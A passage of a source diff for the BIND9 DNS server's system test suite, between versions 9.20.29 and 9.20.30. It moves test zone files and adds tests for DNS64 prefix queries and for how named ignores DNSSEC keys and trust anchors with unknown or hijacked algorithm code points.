+++ bind9-9.20.30/bin/tests/system/dispatch/ans4/tcp-only.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 3600 SOA . . 1 1 1 1 1 -@ 3600 NS ns -ns 3600 A 10.53.0.4 -foo 3600 A 127.0.0.1 diff -Nru bind9-9.20.29/bin/tests/system/dispatch/ans4/zones/tcp-only.db bind9-9.20.30/bin/tests/system/dispatch/ans4/zones/tcp-only.db --- bind9-9.20.29/bin/tests/system/dispatch/ans4/zones/tcp-only.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dispatch/ans4/zones/tcp-only.db 2026-10-12 13:12:08.057892428 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 3600 SOA . . 1 1 1 1 1 +@ 3600 NS ns +ns 3600 A 10.53.0.4 +foo 3600 A 127.0.0.1 diff -Nru bind9-9.20.29/bin/tests/system/dispatch/tests_connreset.py bind9-9.20.30/bin/tests/system/dispatch/tests_connreset.py --- bind9-9.20.29/bin/tests/system/dispatch/tests_connreset.py 2026-09-11 19:41:01.160322814 +0000 +++ bind9-9.20.30/bin/tests/system/dispatch/tests_connreset.py 2026-10-12 13:12:08.057892428 +0000 @@ -1,27 +1,18 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. import dns.message -import pytest import isctest -pytestmark = pytest.mark.extra_artifacts( - [ - "ans*/ans.run", - ] -) - def test_connreset(): msg = dns.message.make_query( diff -Nru bind9-9.20.29/bin/tests/system/dispatch/tests_tcponly.py bind9-9.20.30/bin/tests/system/dispatch/tests_tcponly.py --- bind9-9.20.29/bin/tests/system/dispatch/tests_tcponly.py 2026-09-11 19:41:01.160322814 +0000 +++ bind9-9.20.30/bin/tests/system/dispatch/tests_tcponly.py 2026-10-12 13:12:08.057892428 +0000 @@ -3,23 +3,16 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. import dns.message -import pytest import isctest -pytestmark = pytest.mark.extra_artifacts( - [ - "ans*/ans.run", - ] -) - def test_tcponly_not_resolved(): """ diff -Nru bind9-9.20.29/bin/tests/system/ditch.pl bind9-9.20.30/bin/tests/system/ditch.pl --- bind9-9.20.29/bin/tests/system/ditch.pl 2026-09-11 19:41:01.160322814 +0000 +++ bind9-9.20.30/bin/tests/system/ditch.pl 1970-01-01 00:00:00.000000000 +0000 @@ -1,94 +0,0 @@ -#!/usr/bin/perl - -# Copyright (C) Internet Systems Consortium, Inc. ("ISC") -# -# SPDX-License-Identifier: MPL-2.0 -# -# This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this -# file, you can obtain one at https://mozilla.org/MPL/2.0/. -# -# See the COPYRIGHT file distributed with this work for additional -# information regarding copyright ownership. - -# This is a tool for sending queries via UDP to specified address and -# port, then exiting without waiting for a response. -# -# Usage: ditch.pl [-s
] [-p ] [filename] -# -# Input (in filename, if specified, otherwise stdin) is a series of one -# or more DNS names and types to send as queries, e.g.: -# -# www.example.com A -# www.example.org MX -# -# If not specified, address defaults to 127.0.0.1, port to 53. - -require 5.006.001; - -use strict; -use Getopt::Std; -use Net::DNS; -use Net::DNS::Packet; -use IO::File; -use IO::Socket; - -sub usage { - print ("Usage: ditch.pl [-s address] [-p port] [-b source_port] [file]\n"); - exit 1; -} - -my %options={}; -getopts("s:p:b:", \%options); - -my $addr = "127.0.0.1"; -$addr = $options{s} if defined $options{s}; - -my $port = 53; -$port = $options{p} if defined $options{p}; - -my $source_port = 0; -$source_port = $options{b} if defined $options{b}; - -my $file = "STDIN"; -if (@ARGV >= 1) { - my $filename = shift @ARGV; - open FH, "<$filename" or die "$filename: $!"; - $file = "FH"; -} - -my $input = ""; -while (defined(my $line = <$file>) ) { - chomp $line; - next if ($line =~ m/^ *#/); - my @tokens = split (' ', $line); - - my $packet; - if ($Net::DNS::VERSION > 0.68) { - $packet = new Net::DNS::Packet(); - $@ and die $@; - } else { - my $err; - ($packet, $err) = new Net::DNS::Packet(); - $err and die $err; - } - - my $q = new Net::DNS::Question($tokens[0], $tokens[1], "IN"); - $packet->header->rd(1); - $packet->push(question => $q); - - my $sock = IO::Socket::INET->new( - PeerAddr => $addr, - PeerPort => $port, - Proto => "udp", - LocalPort => $source_port, - ) or die "$!"; - - my $bytes = $sock->send($packet->data); - #print ("sent $bytes bytes to $addr:$port:\n"); - #print (" ", unpack("H* ", $packet->data), "\n"); - - $sock->close; -} - -close $file; diff -Nru bind9-9.20.29/bin/tests/system/dlzexternal/driver/driver.c bind9-9.20.30/bin/tests/system/dlzexternal/driver/driver.c --- bind9-9.20.29/bin/tests/system/dlzexternal/driver/driver.c 2026-09-11 19:41:01.161322838 +0000 +++ bind9-9.20.30/bin/tests/system/dlzexternal/driver/driver.c 2026-10-12 13:12:08.058892449 +0000 @@ -367,7 +367,7 @@ * from 10.53.0.1. */ if (strcasecmp(name, "test.example.net") == 0 && - strncmp(addrbuf, "10.53.0.1", 9) == 0) + isc_string_hasprefix(addrbuf, "10.53.0.1")) { return ISC_R_NOMORE; } @@ -738,7 +738,7 @@ UNUSED(keydatalen); UNUSED(keydata); - if (strncmp(name, "deny.", 5) == 0) { + if (isc_string_hasprefix(name, "deny.")) { loginfo("dlz_example: denying update of name=%s by %s", name, signer); return false; diff -Nru bind9-9.20.29/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py bind9-9.20.30/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py --- bind9-9.20.29/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py 2026-09-11 19:41:01.161322838 +0000 +++ bind9-9.20.30/bin/tests/system/dlzexternal/tests_sh_dlzexternal.py 2026-10-12 13:12:08.058892449 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dns64/tests.sh bind9-9.20.30/bin/tests/system/dns64/tests.sh --- bind9-9.20.29/bin/tests/system/dns64/tests.sh 2026-09-11 19:41:01.165322935 +0000 +++ bind9-9.20.30/bin/tests/system/dns64/tests.sh 2026-10-12 13:12:08.062892535 +0000 @@ -1430,6 +1430,14 @@ if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) +echo_i "checking 'dig ch +dns64prefix' forces class 'in' ($n)" +$DIG $DIGOPTS ch +dns64prefix @10.53.0.1 >dig.out.ns1.test$n || ret=1 +grep '^2001:bbbb::/96$' dig.out.ns1.test$n >/dev/null || ret=1 +test $(wc -l /dev/null; then +if testsock6 fd92:7065:b8e:fffe::10.53.0.4 2>/dev/null; then echo_i "checking resolver-use-dns64 ($n)" ret=0 $DIG $DIGOPTS @10.53.0.3 no-aaaa aaaa >dig.out.ns3.test$n || ret=1 diff -Nru bind9-9.20.29/bin/tests/system/dns64/tests_sh_dns64.py bind9-9.20.30/bin/tests/system/dns64/tests_sh_dns64.py --- bind9-9.20.29/bin/tests/system/dns64/tests_sh_dns64.py 2026-09-11 19:41:01.165322935 +0000 +++ bind9-9.20.30/bin/tests/system/dns64/tests_sh_dns64.py 2026-10-12 13:12:08.062892535 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/dns64_dname/tests_dns64_dname.py bind9-9.20.30/bin/tests/system/dns64_dname/tests_dns64_dname.py --- bind9-9.20.29/bin/tests/system/dns64_dname/tests_dns64_dname.py 2026-09-11 19:41:01.166322959 +0000 +++ bind9-9.20.30/bin/tests/system/dns64_dname/tests_dns64_dname.py 2026-10-12 13:12:08.062892535 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,8 +16,6 @@ import isctest -pytestmark = pytest.mark.extra_artifacts([]) - def _answer_rrset(response, owner, rdtype): rrset = response.get_rrset( diff -Nru bind9-9.20.29/bin/tests/system/dns_import_checker.py bind9-9.20.30/bin/tests/system/dns_import_checker.py --- bind9-9.20.29/bin/tests/system/dns_import_checker.py 2026-09-11 19:41:01.166322959 +0000 +++ bind9-9.20.30/bin/tests/system/dns_import_checker.py 2026-10-12 13:12:08.063892556 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -152,7 +152,9 @@ @staticmethod def _infer_module_name(node): - """Infer `dns.` for a node; return None if inference is unsure.""" + """ + Infer `dns.` for a node; return None if inference is unsure. + """ try: for inferred in node.infer(): if inferred is astroid.util.Uninferable: diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ans10/ans.py bind9-9.20.30/bin/tests/system/dnssec/ans10/ans.py --- bind9-9.20.29/bin/tests/system/dnssec/ans10/ans.py 2026-09-11 19:41:01.166322959 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ans10/ans.py 2026-10-12 13:12:08.063892556 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,17 +14,13 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Qtype class AddRrsigToAHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.A + matcher = Qtype(dns.rdatatype.A) async def get_responses( self, qctx: QueryContext @@ -41,8 +37,7 @@ class AddNsecToTxtHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.qtype == dns.rdatatype.TXT + matcher = Qtype(dns.rdatatype.TXT) async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ans10/inprogress.db bind9-9.20.30/bin/tests/system/dnssec/ans10/inprogress.db --- bind9-9.20.29/bin/tests/system/dnssec/ans10/inprogress.db 2026-09-11 19:41:01.166322959 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ans10/inprogress.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,13 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. -@ 1 SOA . . 0 0 0 0 0 -@ 1 NS . -@ 1 A 10.53.0.10 diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ans10/nsec-rrsigs-stripped.db bind9-9.20.30/bin/tests/system/dnssec/ans10/nsec-rrsigs-stripped.db --- bind9-9.20.29/bin/tests/system/dnssec/ans10/nsec-rrsigs-stripped.db 2026-09-11 19:41:01.166322959 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ans10/nsec-rrsigs-stripped.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,13 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. -@ 1 SOA . . 0 0 0 0 0 -@ 1 NS . -@ 1 A 10.53.0.10 diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ans10/zones/inprogress.db bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/inprogress.db --- bind9-9.20.29/bin/tests/system/dnssec/ans10/zones/inprogress.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/inprogress.db 2026-10-12 13:12:08.063892556 +0000 @@ -0,0 +1,13 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. +@ 1 SOA . . 0 0 0 0 0 +@ 1 NS . +@ 1 A 10.53.0.10 diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ans10/zones/nsec-rrsigs-stripped.db bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/nsec-rrsigs-stripped.db --- bind9-9.20.29/bin/tests/system/dnssec/ans10/zones/nsec-rrsigs-stripped.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ans10/zones/nsec-rrsigs-stripped.db 2026-10-12 13:12:08.063892556 +0000 @@ -0,0 +1,13 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. +@ 1 SOA . . 0 0 0 0 0 +@ 1 NS . +@ 1 A 10.53.0.10 diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ns2/example.db.in bind9-9.20.30/bin/tests/system/dnssec/ns2/example.db.in --- bind9-9.20.29/bin/tests/system/dnssec/ns2/example.db.in 2026-09-11 19:41:01.168323007 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ns2/example.db.in 2026-10-12 13:12:08.065892599 +0000 @@ -103,6 +103,9 @@ dnskey-unknown NS ns.dnskey-unknown ns.dnskey-unknown A 10.53.0.3 +dnskey-163-unknown NS ns.dnskey-163-unknown +ns.dnskey-163-unknown A 10.53.0.3 + dnskey-unsupported NS ns.dnskey-unsupported ns.dnskey-unsupported A 10.53.0.3 diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ns2/sign.sh bind9-9.20.30/bin/tests/system/dnssec/ns2/sign.sh --- bind9-9.20.29/bin/tests/system/dnssec/ns2/sign.sh 2026-09-11 19:41:01.169323031 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ns2/sign.sh 2026-10-12 13:12:08.066892620 +0000 @@ -56,15 +56,14 @@ zonefile=example.db # Get the DS records for the "example." zone. -for subdomain in digest-alg-unsupported ds-unsupported secure badds \ - bogus dynamic keyless nsec3 optout \ - nsec3-unknown optout-unknown multiple rsasha256 rsasha512 \ - kskonly update-nsec3 auto-nsec auto-nsec3 secure.below-cname \ - ttlpatch split-dnssec split-smart expired expiring upper lower \ - dnskey-unknown dnskey-unsupported dnskey-unsupported-2 \ - dnskey-nsec3-unknown managed-future future revkey \ - dname-at-apex-nsec3 occluded rsasha1 rsasha1-1024 \ - extrabadkey keytrap3; do +for subdomain in auto-nsec auto-nsec3 badds bogus \ + digest-alg-unsupported dname-at-apex-nsec3 dnskey-163-unknown \ + dnskey-nsec3-unknown dnskey-unknown dnskey-unsupported \ + dnskey-unsupported-2 ds-unsupported dynamic expired expiring \ + extrabadkey future keyless keytrap3 kskonly lower managed-future multiple \ + nsec3 nsec3-unknown occluded optout optout-unknown revkey rsasha1 \ + rsasha1-1024 rsasha256 rsasha512 secure secure.below-cname \ + split-dnssec split-smart ttlpatch update-nsec3 upper; do cp "../ns3/dsset-$subdomain.example." . done diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ns3/named.conf.j2 bind9-9.20.30/bin/tests/system/dnssec/ns3/named.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec/ns3/named.conf.j2 2026-09-11 19:41:01.171323080 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ns3/named.conf.j2 2026-10-12 13:12:08.068892663 +0000 @@ -211,6 +211,12 @@ file "dnskey-unknown.example.db.signed"; }; +# Uses HMAC-SHA256 code point +zone "dnskey-163-unknown.example" { + type primary; + file "dnskey-163-unknown.example.db.signed"; +}; + zone "digest-alg-unsupported.example" { type primary; file "digest-alg-unsupported.example.db.signed"; diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ns3/sign.sh bind9-9.20.30/bin/tests/system/dnssec/ns3/sign.sh --- bind9-9.20.29/bin/tests/system/dnssec/ns3/sign.sh 2026-09-11 19:41:01.174323152 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ns3/sign.sh 2026-10-12 13:12:08.070892706 +0000 @@ -195,8 +195,8 @@ # to point to a provably nonexistent DNSKEY record. zonefiletmp=$(mktemp "$zonefile.XXXXXX") || exit 1 mv "$zonefile.signed" "$zonefiletmp" -"$PERL" <"$zonefiletmp" -p -e 's/ keyless.example/ b.keyless.example/ - if /^a.b.keyless.example/../A RRSIG NSEC/;' >"$zonefile.signed" +sed '/^a.b.keyless.example/,/A RRSIG NSEC/s/ keyless.example/ b.keyless.example/' \ + <"$zonefiletmp" >"$zonefile.signed" rm -f "$zonefiletmp" # @@ -347,6 +347,25 @@ DSFILE="dsset-${zone}." $DSFROMKEY -A -f ${zonefile}.signed "$zone" >"$DSFILE" + +# +# A zone that is signed with an unknown DNSKEY algorithm. +# Algorithm 7 is replaced by 163 (HMAC-SHA256 code point) in the zone and dsset. +# +zone=dnskey-163-unknown.example +infile=template.db.in +zonefile=dnskey-163-unknown.example.db + +keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone") + +cat "$infile" "$keyname.key" >"$zonefile" + +"$SIGNER" -z -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" >/dev/null + +awk '$4 == "DNSKEY" { $7 = 163 } $4 == "RRSIG" { $6 = 163 } { print }' ${zonefile}.tmp >${zonefile}.signed + +DSFILE="dsset-${zone}." +$DSFROMKEY -A -f ${zonefile}.signed "$zone" >"$DSFILE" # # A zone that is signed with an unsupported DNSKEY algorithm (3). diff -Nru bind9-9.20.29/bin/tests/system/dnssec/ns9/named.conf.j2 bind9-9.20.30/bin/tests/system/dnssec/ns9/named.conf.j2 --- bind9-9.20.29/bin/tests/system/dnssec/ns9/named.conf.j2 2026-09-11 19:41:01.176323200 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/ns9/named.conf.j2 2026-10-12 13:12:08.073892770 +0000 @@ -24,3 +24,36 @@ {% include "_common/controls.conf.j2" %} include "trusted.conf"; + +/* + * Dummy trust anchors of algorithms that should be ignored by named. + */ +trust-anchors { + /* Algorithms that are using non DNSSEC key code points. */ + dh-trust-anchor. static-key 257 3 2 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + indirect-trust-anchor. static-key 257 3 252 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + /* Algorithms that are using hijacked code points. */ + hmac-157-trust-anchor. static-key 257 3 157 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-158-trust-anchor. static-key 257 3 158 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-159-trust-anchor. static-key 257 3 159 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-160-trust-anchor. static-key 257 3 160 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-161-trust-anchor. static-key 257 3 161 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-162-trust-anchor. static-key 257 3 162 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-163-trust-anchor. static-key 257 3 163 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-164-trust-anchor. static-key 257 3 164 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + hmac-165-trust-anchor. static-key 257 3 165 "AwEAAaz/tAm8yTn4Mfeh5eyI96WSVexTBAvkMgJzkKTOiW1vkIbzxeF3"; + + /* Algorithms that are using non DNSSEC key code points. */ + dh-trust-anchor. static-ds 20326 2 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + indirect-trust-anchor. static-ds 20326 252 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + /* Algorithms that are using hijacked code points. */ + hmac-157-trust-anchor. static-ds 20326 157 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-158-trust-anchor. static-ds 20326 158 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-159-trust-anchor. static-ds 20326 159 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-160-trust-anchor. static-ds 20326 160 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-161-trust-anchor. static-ds 20326 161 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-162-trust-anchor. static-ds 20326 162 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-163-trust-anchor. static-ds 20326 163 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-164-trust-anchor. static-ds 20326 164 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; + hmac-165-trust-anchor. static-ds 20326 165 2 "E06D44B80B8F1D39A95C0B0D7C65D08458E880409BBC683457104237C7F8EC8D"; +}; diff -Nru bind9-9.20.29/bin/tests/system/dnssec/tests_keygen.py bind9-9.20.30/bin/tests/system/dnssec/tests_keygen.py --- bind9-9.20.29/bin/tests/system/dnssec/tests_keygen.py 2026-09-11 19:41:01.179323273 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/tests_keygen.py 2026-10-12 13:12:08.076892834 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -30,7 +30,6 @@ "*/*.key", "*/*.signed", "*/settime.out.*", - "ans*/ans.run", "*/trusted.keys", "*/*.bad", "*/*.next", diff -Nru bind9-9.20.29/bin/tests/system/dnssec/tests_sh_dnssec.py bind9-9.20.30/bin/tests/system/dnssec/tests_sh_dnssec.py --- bind9-9.20.29/bin/tests/system/dnssec/tests_sh_dnssec.py 2026-09-11 19:41:01.179323273 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/tests_sh_dnssec.py 2026-10-12 13:12:08.076892834 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -41,7 +41,6 @@ "*/*.jbk", "*/*.signed", "*/*.mkeys*", - "ans*/ans.run", "ans*/query.log", "conf/*.conf", "ns1/managed.key.id", @@ -89,19 +88,21 @@ "ns3/badalg.secure.example.db", "ns3/badds.example.db", "ns3/bogus.example.db", + "ns3/digest-alg-unsupported.example.db", "ns3/disabled.managed.db", "ns3/disabled.trusted.db", "ns3/dname-at-apex-nsec3.example.db", - "ns3/dnskey-nsec3-unknown.example.db", + "ns3/dnskey-163-unknown.example.db.tmp", + "ns3/dnskey-163-unknown.example.db", "ns3/dnskey-nsec3-unknown.example.db.tmp", - "ns3/dnskey-unknown.example.db", + "ns3/dnskey-nsec3-unknown.example.db", "ns3/dnskey-unknown.example.db.tmp", + "ns3/dnskey-unknown.example.db", "ns3/dnskey-unsupported-2.example.db", - "ns3/dnskey-unsupported.example.db", "ns3/dnskey-unsupported.example.db.tmp", + "ns3/dnskey-unsupported.example.db", "ns3/ds-unsupported.example.db", "ns3/dynamic.example.db", - "ns3/digest-alg-unsupported.example.db", "ns3/enabled.managed.db", "ns3/enabled.trusted.db", "ns3/example.bk", @@ -144,16 +145,16 @@ "ns3/split-dnssec.example.db", "ns3/split-smart.example.db", "ns3/trusted-future.key", - "ns3/ttlpatch.example.db", "ns3/ttlpatch.example.db.patched", - "ns3/unsupported.managed.db", + "ns3/ttlpatch.example.db", "ns3/unsupported.managed.db.tmp", - "ns3/unsupported.trusted.db", + "ns3/unsupported.managed.db", "ns3/unsupported.trusted.db.tmp", - "ns3/update-nsec3.example.db", + "ns3/unsupported.trusted.db", "ns3/update-nsec3.example.db.signed", - "ns3/upper.example.db", + "ns3/update-nsec3.example.db", "ns3/upper.example.db.lower", + "ns3/upper.example.db", "ns3/zonecut.ent.secure.example.db", "ns4/managed.conf", "ns4/managed-keys.bind", diff -Nru bind9-9.20.29/bin/tests/system/dnssec/tests_trust_anchor.py bind9-9.20.30/bin/tests/system/dnssec/tests_trust_anchor.py --- bind9-9.20.29/bin/tests/system/dnssec/tests_trust_anchor.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/dnssec/tests_trust_anchor.py 2026-10-12 13:12:08.076892834 +0000 @@ -0,0 +1,42 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import isctest + + +def test_trust_anchor(): + with isctest.log.WatchLogFromStart("ns9/named.run") as watcher: + watcher.wait_for_all( + [ + "ignoring static-key for 'dh-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'indirect-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-157-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-158-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-159-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-160-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-161-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-162-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-163-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-164-trust-anchor.': algorithm is unsupported", + "ignoring static-key for 'hmac-165-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'dh-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 'indirect-trust-anchor.': algorithm is unsupported", + "ignoring static-ds for 